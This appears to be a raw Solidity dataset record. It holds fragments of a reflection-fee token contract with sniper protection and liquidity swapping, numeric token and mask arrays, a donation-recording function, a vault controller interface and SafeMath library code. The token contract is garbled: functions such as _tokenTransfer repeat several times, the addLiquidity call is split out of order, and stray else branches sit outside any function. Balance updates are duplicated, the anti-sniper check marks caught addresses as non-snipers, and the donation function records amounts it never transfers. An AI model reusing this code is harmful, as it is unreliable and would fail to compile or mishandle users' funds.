require(contractBalanceRecepient + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (!inSwapAndLiquify
&& to == lpPair
&& swapAndLiquifyEnabled
) {
if (overMinTokenBalance) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function _transfer(
address from
, address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to))
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(_hasLimits(from, to)
&& to != _routerAddress
&& to != lpPair
) {
uint256 contractBalanceRecepient = balanceOf(to);
require(contractBalanceRecepient + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (!inSwapAndLiquify
&& to == lpPair
&& swapAndLiquifyEnabled
) {
if (overMinTokenBalance) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
if (_marketingFee + _liquidityFee == 0)
return;
uint256 toMarketing = contractTokenBalance.mul(_marketingFee).div(_marketingFee.add(_liquidityFee));
uint256 toLiquify = contractTokenBalance.sub(toMarketing);
uint256 half = toLiquify.div(2);
uint256 otherHalf = toLiquify.sub(half);
uint256 initialBalance = address(this).balance;
uint256 toSwapForEth = half.add(toMarketing);
swapTokensForEth(toSwapForEth);
uint256 fromSwap = address(this).balance.sub(initialBalance);
uint256 liquidityBalance = fromSwap.mul(half).div(toSwapForEth);
addLiquidity(otherHalf, liquidityBalance);
emit SwapAndLiquify(half, liquidityBalance, otherHalf);
_marketingWallet.transfer(fromSwap.sub(liquidityBalance));
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WAVAX();
_approve(address(this), address(dexRouter), tokenAmount);
dexRouter.swapExactTokensForAVAXSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(dexRouter), tokenAmount);
address(this),
tokenAmount,
burnAddress,
block.timestamp
);
}
dexRouter.addLiquidityAVAX{value: ethAmount}(
function _tokenTransfer(address from, address to, uint256 amount,bool takeFee) private {
if (sniperProtection){
if (isSniper(from) || isSniper(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& from == lpPair
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniper[to] = false;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
if(!takeFee)
removeAllFee();
_finalizeTransfer(from, to, amount);
if(!takeFee)
restoreAllFee();
}
function _tokenTransfer(address from, address to, uint256 amount,bool takeFee) private {
if (sniperProtection){
if (isSniper(from) || isSniper(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& from == lpPair
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniper[to] = false;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
if(!takeFee)
removeAllFee();
_finalizeTransfer(from, to, amount);
if(!takeFee)
restoreAllFee();
}
function _tokenTransfer(address from, address to, uint256 amount,bool takeFee) private {
if (sniperProtection){
if (isSniper(from) || isSniper(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& from == lpPair
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniper[to] = false;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
if(!takeFee)
removeAllFee();
_finalizeTransfer(from, to, amount);
if(!takeFee)
restoreAllFee();
}
function _tokenTransfer(address from, address to, uint256 amount,bool takeFee) private {
if (sniperProtection){
if (isSniper(from) || isSniper(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& from == lpPair
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniper[to] = false;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
if(!takeFee)
removeAllFee();
_finalizeTransfer(from, to, amount);
if(!takeFee)
restoreAllFee();
}
function _tokenTransfer(address from, address to, uint256 amount,bool takeFee) private {
if (sniperProtection){
if (isSniper(from) || isSniper(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& from == lpPair
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniper[to] = false;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
if(!takeFee)
removeAllFee();
_finalizeTransfer(from, to, amount);
if(!takeFee)
restoreAllFee();
}
} else {
function _tokenTransfer(address from, address to, uint256 amount,bool takeFee) private {
if (sniperProtection){
if (isSniper(from) || isSniper(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& from == lpPair
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniper[to] = false;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
if(!takeFee)
removeAllFee();
_finalizeTransfer(from, to, amount);
if(!takeFee)
restoreAllFee();
}
function _tokenTransfer(address from, address to, uint256 amount,bool takeFee) private {
if (sniperProtection){
if (isSniper(from) || isSniper(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& from == lpPair
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniper[to] = false;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
if(!takeFee)
removeAllFee();
_finalizeTransfer(from, to, amount);
if(!takeFee)
restoreAllFee();
}
function _finalizeTransfer(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
}
if (tLiquidity > 0)
_takeLiquidity(sender, tLiquidity);
if (rFee > 0 || tFee > 0)
_takeReflect(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _finalizeTransfer(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
}
if (tLiquidity > 0)
_takeLiquidity(sender, tLiquidity);
if (rFee > 0 || tFee > 0)
_takeReflect(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
if (!_hasLimits(from, to) && to == lpPair) {
_liquidityHolders[from] = true;
_hasLiqBeenAdded = true;
_liqAddBlock = block.number;
_liqAddStamp = block.timestamp;
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
}
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
if (!_hasLimits(from, to) && to == lpPair) {
_liquidityHolders[from] = true;
_hasLiqBeenAdded = true;
_liqAddBlock = block.number;
_liqAddStamp = block.timestamp;
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeReflect(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _takeLiquidity(address sender, uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_reflectFee).div(masterTaxDivisor);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee.add(_marketingFee)).div(masterTaxDivisor);
}
function removeAllFee() private {
if(_reflectFee == 0 && _liquidityFee == 0) return;
_previousReflectFee = _reflectFee;
_previousLiquidityFee = _liquidityFee;
_previousMarketingFee = _marketingFee;
_reflectFee = 0;
_liquidityFee = 0;
_marketingFee = 0;
}
function restoreAllFee() private {
_reflectFee = _previousReflectFee;
_liquidityFee = _previousLiquidityFee;
_marketingFee = _previousMarketingFee;
}
} | 4,568,140 | [
1,
22720,
41,
534,
5069,
654,
4238,
23211,
3844,
353,
404,
9,
434,
326,
2078,
14467,
18,
18848,
9230,
963,
353,
576,
9,
434,
326,
2078,
14467,
18,
374,
18,
6260,
9,
434,
10710,
3425,
1283,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
27175,
1258,
37,
353,
1772,
16,
467,
654,
39,
3462,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
86,
5460,
329,
31,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
88,
5460,
329,
31,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
291,
16461,
1265,
14667,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
291,
16461,
31,
203,
565,
1758,
8526,
3238,
389,
24602,
31,
203,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
291,
10461,
77,
457,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
549,
372,
24237,
27003,
31,
203,
27699,
27699,
565,
2254,
5034,
3238,
5381,
4552,
273,
4871,
11890,
5034,
12,
20,
1769,
203,
565,
2254,
28,
3238,
389,
31734,
273,
2468,
31,
203,
565,
2254,
5034,
3238,
389,
31734,
27860,
273,
389,
31734,
31,
203,
565,
2254,
5034,
3238,
389,
88,
5269,
273,
5023,
3088,
1283,
380,
1728,
636,
67,
31734,
27860,
31,
203,
565,
2254,
5034,
3238,
389,
86,
5269,
273,
261,
6694,
300,
261,
6694,
738,
389,
88,
5269,
10019,
203,
565,
2254,
5034,
3238,
389,
88,
14667,
5269,
31,
203,
203,
565,
533,
3238,
389,
529,
273,
315,
19815,
1258,
37,
14432,
203,
565,
533,
3238,
389,
7175,
273,
2
] |
./full_match/137/0xDB0843b0DF3C307FC7310421450b2930C8F74eA0/sources/contracts/DonateLogic.sol | Update donation state | function transferAndRecord(address recipient, uint256 amount, string memory message) public {
require(msg.sender != recipient, "Sender and recipient must be different");
uint256 amountAfterFee = amount - fee;
require(amountAfterFee > 0, "Amount after fee must be greater than 0");
totalUSDCDonated += amountAfterFee;
totalReceived[recipient] += amountAfterFee;
}
| 4,778,914 | [
1,
1891,
2727,
367,
919,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7412,
1876,
2115,
12,
2867,
8027,
16,
2254,
5034,
3844,
16,
533,
3778,
883,
13,
1071,
288,
203,
565,
2583,
12,
3576,
18,
15330,
480,
8027,
16,
315,
12021,
471,
8027,
1297,
506,
3775,
8863,
203,
377,
203,
565,
2254,
5034,
3844,
4436,
14667,
273,
3844,
300,
14036,
31,
203,
377,
203,
565,
2583,
12,
8949,
4436,
14667,
405,
374,
16,
315,
6275,
1839,
14036,
1297,
506,
6802,
2353,
374,
8863,
203,
203,
565,
2078,
3378,
5528,
22293,
690,
1011,
3844,
4436,
14667,
31,
203,
565,
2078,
8872,
63,
20367,
65,
1011,
3844,
4436,
14667,
31,
203,
377,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/11155111/0xbE3d97A00b4bE98A626a5c6DEc64f74F5F28da1f/sources/contracts/honeycast.sol | Look for revert reason and bubble it up if present The easiest way to bubble the revert reason is using memory via assembly @solidity memory-safe-assembly | function _revert(bytes memory returndata, string memory errorMessage) private pure {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
| 3,815,459 | [
1,
9794,
364,
15226,
3971,
471,
21577,
518,
731,
309,
3430,
1021,
7264,
77,
395,
4031,
358,
21577,
326,
15226,
3971,
353,
1450,
3778,
3970,
19931,
632,
30205,
560,
3778,
17,
4626,
17,
28050,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1377,
445,
389,
266,
1097,
12,
3890,
3778,
327,
892,
16,
533,
3778,
9324,
13,
3238,
16618,
288,
203,
1850,
309,
261,
2463,
892,
18,
2469,
405,
374,
13,
288,
203,
2868,
19931,
288,
203,
5375,
2231,
327,
892,
67,
1467,
519,
312,
945,
12,
2463,
892,
13,
203,
5375,
15226,
12,
1289,
12,
1578,
16,
327,
892,
3631,
327,
892,
67,
1467,
13,
203,
2868,
289,
203,
2868,
15226,
12,
1636,
1079,
1769,
203,
1850,
289,
203,
1377,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-22
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.6.11;
interface IController {
function ADMIN_ROLE() external view returns (bytes32);
function HARVESTER_ROLE() external view returns (bytes32);
function admin() external view returns (address);
function treasury() external view returns (address);
function setAdmin(address _admin) external;
function setTreasury(address _treasury) external;
function grantRole(bytes32 _role, address _addr) external;
function revokeRole(bytes32 _role, address _addr) external;
/*
@notice Set strategy for vault
@param _vault Address of vault
@param _strategy Address of strategy
@param _min Minimum undelying token current strategy must return. Prevents slippage
*/
function setStrategy(
address _vault,
address _strategy,
uint _min
) external;
// calls to strategy
/*
@notice Invest token in vault into strategy
@param _vault Address of vault
*/
function invest(address _vault) external;
function harvest(address _strategy) external;
function skim(address _strategy) external;
/*
@notice Withdraw from strategy to vault
@param _strategy Address of strategy
@param _amount Amount of underlying token to withdraw
@param _min Minimum amount of underlying token to withdraw
*/
function withdraw(
address _strategy,
uint _amount,
uint _min
) external;
/*
@notice Withdraw all from strategy to vault
@param _strategy Address of strategy
@param _min Minimum amount of underlying token to withdraw
*/
function withdrawAll(address _strategy, uint _min) external;
/*
@notice Exit from strategy
@param _strategy Address of strategy
@param _min Minimum amount of underlying token to withdraw
*/
function exit(address _strategy, uint _min) external;
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint a, uint b) internal pure returns (bool, uint) {
uint c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint a, uint b) internal pure returns (bool, uint) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint a, uint b) internal pure returns (bool, uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
